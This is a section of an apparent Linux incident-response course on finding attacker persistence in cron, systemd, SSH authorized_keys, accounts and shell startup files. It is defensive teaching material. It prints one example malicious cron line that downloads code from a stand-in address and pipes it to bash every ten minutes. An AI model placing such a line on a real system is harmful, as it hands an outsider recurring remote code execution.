In this section

Linux Persistence Mechanisms: Cron, systemd, SSH Keys

Reference · Module 0

Where attackers arrange to stay

An attacker who reaches a host wants to survive a reboot, and Linux gives them many independent ways to do it, each a legitimate system feature with no central registry to check. This sub gives you the first-look list: the handful of locations you check on every investigation, what a malicious entry looks like in each, and the discipline that stops you closing the case one finding too early.

Section 0.5 showed the logs; some of these locations log their activity and some do not, which is exactly why you check the locations directly rather than trusting a log to surface them.

No registry, so you enumerate locations

Persistence on Linux is found by going to known places and asking, of each entry, "should this be here?" There is no single store to query, so fluency means knowing the locations cold. The four below cover the large majority of real-world persistence, and they are where you start every time. Each is a legitimate mechanism the system relies on, which is exactly why attackers choose them: a malicious cron job and a legitimate one are the same kind of object, distinguishable only by what they do.

First-look persistence locations Scheduled cron, at systemd timers Services systemd units init scripts Remote access authorized_keys new accounts Shell startup .bashrc, .profile /etc/profile.d

Four categories, checked on every investigation. None of them is exotic: each is a feature the system uses legitimately, which is the whole problem. You separate the attacker's entry from the system's own by what it does, not by where it lives.

Scheduled tasks: cron and timers

Cron runs commands on a schedule, and it is the most common Linux persistence mechanism because it is simple, reliable, and present everywhere. Crontabs live in several places: per-user files under /var/spool/cron, the system-wide /etc/crontab, and drop-in directories like /etc/cron.d and the hourly, daily, and weekly folders. An attacker only needs one. You saw the canonical malicious entry in Section 0.2:

a malicious cron entry
*/10 * * * * curl -s http://203.0.113.40/c | bash

What marks it as malicious is the behavior, not the form: every ten minutes it downloads code from a fixed address and runs it. Legitimate cron jobs run scripts that live on the host, by absolute path, doing maintenance you can explain. A job that fetches and executes remote code on a tight interval is command-and-control wearing a scheduler's clothes. The modern equivalent is a systemd timer paired with a service unit, which achieves the same scheduled execution through systemd rather than cron, so you check both. The tell is the same: a scheduled action whose job is to pull and run something from outside.

Two details make cron a richer hunting ground than it first appears. The at command schedules one-off jobs rather than recurring ones, and its queue is a separate location an attacker can use for a single delayed action that a recurring-job check would miss. And cron jobs, when they run, leave traces in the logs from Section 0.5, so a job you find in a crontab can be corroborated against the journal entries showing it executing, while a job that runs but appears in no crontab you can find suggests something is hiding the entry. Reading the scheduled-task configuration and the execution logs together, rather than either alone, is how you separate a benign job from a planted one and how you catch a job that has been hidden from a casual listing.

Services and init

The second location is the service system. On current Linux that is systemd, which starts units defined in files under /etc/systemd/system and related directories. An attacker can install a unit that launches their payload at boot and restarts it if it dies, giving them persistence that looks like any other system service. The signs are a unit in an unusual location, one with a vague or impersonating name, or one whose ExecStart points at a script in /tmp, a user's home directory, or another place no legitimate service runs from. Older systems use init scripts in /etc/init.d and the rc directories, which an attacker can edit to add a line that runs at startup, so on those hosts you check there too.

Remote access: keys and accounts

The third location is the means of getting back in directly. The quietest Linux persistence is an extra line appended to a privileged account's ~/.ssh/authorized_keys: a public key the attacker holds the private half of, granting them password-free login that, as Section 0.5 noted, produces a perfectly normal-looking Accepted publickey event with nothing to flag the key as planted.

~/.ssh/authorized_keys — one of these was not here yesterday
ssh-ed25519 AAAAC3Nza...lG7 deploy@ci-runner
ssh-rsa AAAAB3Nza...8Qx attacker-key

You catch a planted key by its presence where it should not be and by the file's modification time, which will postdate the compromise. The comment field at the end of a key is attacker-chosen and means nothing, so you judge by the key itself and the file's timestamp, not the label. The related mechanism is a new user account, often created with a UID of 0 to make it root-equivalent while looking like an ordinary account, which you find by reading /etc/passwd directly rather than trusting any summary.

Shell startup files

The fourth location is the set of files a shell runs automatically when it starts: a user's ~/.bashrc and ~/.profile, and system-wide files like /etc/profile and the scripts in /etc/profile.d. A line added to any of these runs every time the relevant shell opens, which for an interactive account can be often. Attackers use them to re-launch a payload, to add a malicious directory to the executable search path so their tool runs in place of a real command, or to quietly re-establish a connection whenever an administrator logs in. These files are normally stable, so a recent modification time on a startup file, or an unfamiliar line in one, is worth your attention.

Where analysts get it wrong
Finding one persistence mechanism and stopping. You find the cron job, remove it, and consider the host clean, but a competent attacker plants several independent footholds precisely so that losing one does not lock them out. The cron job you found may be the decoy; the systemd timer, the planted SSH key, and the modified .bashrc are still there. Always check every location on the list, every time, even after the first hit. Eradication is complete only when you have cleared all of them.

Why the list, and why every time

It would be faster to check only the location where you found the first sign of trouble. It would also be how attackers keep their access. The reason you walk the whole first-look list on every investigation is that persistence is cheap to plant in several places and the cost of missing one is the attacker walking straight back in after you declare the incident closed. The list is short enough to check quickly and complete enough to catch the common cases, which is exactly what a first-look list should be.

There is a technique that ties the whole list together and makes the sweep fast: anchor everything to the time of compromise. Once Section 0.5's logs have given you the moment the attacker got in, persistence becomes a timestamp question. Every mechanism on the list is a file, and files carry modification times. A cron file, a systemd unit, an authorized_keys, or a .bashrc that was modified within minutes of the compromise is your prime suspect, while the same files untouched for months are almost certainly legitimate. Sorting the candidate locations by modification time and reading the ones that changed during the incident window turns a broad hunt into a short, ranked list. This is why the filesystem timestamp work in Module 2 matters so much to persistence hunting, and it is why an attacker who knows the technique will try to backdate the files they touched, which, done imperfectly, becomes its own detectable anomaly.

Module 7 expands the list considerably, into the less obvious mechanisms, loadable kernel modules, library preloading, container and package hooks, that a sophisticated attacker reaches for when the obvious locations are watched. For now, internalize the four: scheduled tasks, services, remote access, shell startup. They are where you look first, and they are where most of what you are hunting actually lives. Combined with the timestamp anchor, they are also where you look fastest.

This is the last of the core teaching sections. The next two step back from technique to method: how a Linux investigation is structured end to end, and how you measure whether your response actually worked.

Next section
You have the foundations: the discipline, the evidence, the live system, the logs, the persistence locations. Now see how they fit into a complete investigation, from detection through eradication, and how the course modules map onto each phase.